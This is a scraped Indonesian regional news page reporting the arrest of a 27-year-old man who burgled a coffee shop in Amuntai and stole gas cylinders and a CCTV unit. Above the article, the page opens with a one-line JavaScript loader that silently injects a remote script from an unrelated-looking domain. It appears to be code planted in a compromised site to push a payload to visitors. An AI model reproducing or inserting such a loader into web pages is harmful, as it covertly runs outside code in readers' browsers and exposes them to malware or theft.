(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Bobol Kedai Kopi Curi Tabung Gas, AY Dibekuk Unit Jatanras Polres HSU


KANALKALIMANTAN.COM, AMUNTAI – Seorang pemuda AY (27) warga Desa Binjai Pamangkih, Kecamatan Labuan Amas Utara, Kabupaten Hulu Sungai Tengah (HST) diamankan Unit Jatanras Polres Hulu Sungai Utara (HSU), diduga sebagai pelaku tindak pencurian.

Pelaku diketahui membobol sebuah kedai kopi di Jalan Lambung Mangkurat, Desa Pelampitan Hilir, Kecamatan Amuntai Tengah, pada Sabtu (10/4/2021), sekitar pukul 03.00 Wita dini hari.

Kapolres HSU AKBP Afri Darmawan SIK MH melalui Kasat Resktim Iptu M Andi Patinasarani SH, kepada Kanalkalimantan.com, Kamis (15/4/2021) membenarkan penangkapan terhadap pelaku AY usai menerima laporan Ahmad Birhasani, si pemilik kedai kopi
Berdasarkan hasil penyelidikan, polisi berhasil melakukan penangkapan terhadap pelaku di sebuah rumah di Desa Nelayan RT 05, Kecamatan Sungai Tabukan, Kabupaten HSU, Rabu (14/4/2021) sekitar pukul 12.30 Wita.

 

Baca juga: Jembatan Alalak 1 Satu Arah dari Banjarmasin, Angkutan Barang Tak Diperbolehkan

Kasat Resktim menjelaskan, kejadian berawal ketika korban bersama saksi membuka pintu kedai kopi, melihat ruangan sudah berantakan. Termasuk semua tabung gas 3 Kg yang ada di dalam kedai kopi sudah tidak ada berada di tempatnya.

“Termasuk CCTV juga tidak ada di dalam kedai semua hilang, dan pada saat pelapor melihat ke dapur ternyata jendela di dapur terbuka lebar,” jelas Kasatreskrim Polres HSU.

Kemudian korban memberitahukan kepada ayahnya bahwa kedai kopi milik dibongkar berikut kehilangan semua barang yang ada di dalam kedai kopi.

Baca juga: Resmi Dibuka, Ini Jam Operasional Jembatan Alalak 1

Pemilik kedai kopi mengaku kehilangan 12 buah tabung gas 3 Kg dan 1 unit CCTV, dengan total kerugian sebanyak Rp 3 juta. Pemilik kemudian melaporkan kejadian tersebut ke Mapolres HSU.

Atas tindak Pidana Pencurian dengan pemberatan yang di maksud dalam pasal 363 KUHPidana tersebut, pelaku bersama barang bukti yakni sebuah Honda Scoopy dan lima tabung gas 3 Kg digelandang ke Polres HSU guna penyedikan lebih lanjut. (kanalkalimantan.com/dew)

Reporter : dew
Editor : kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.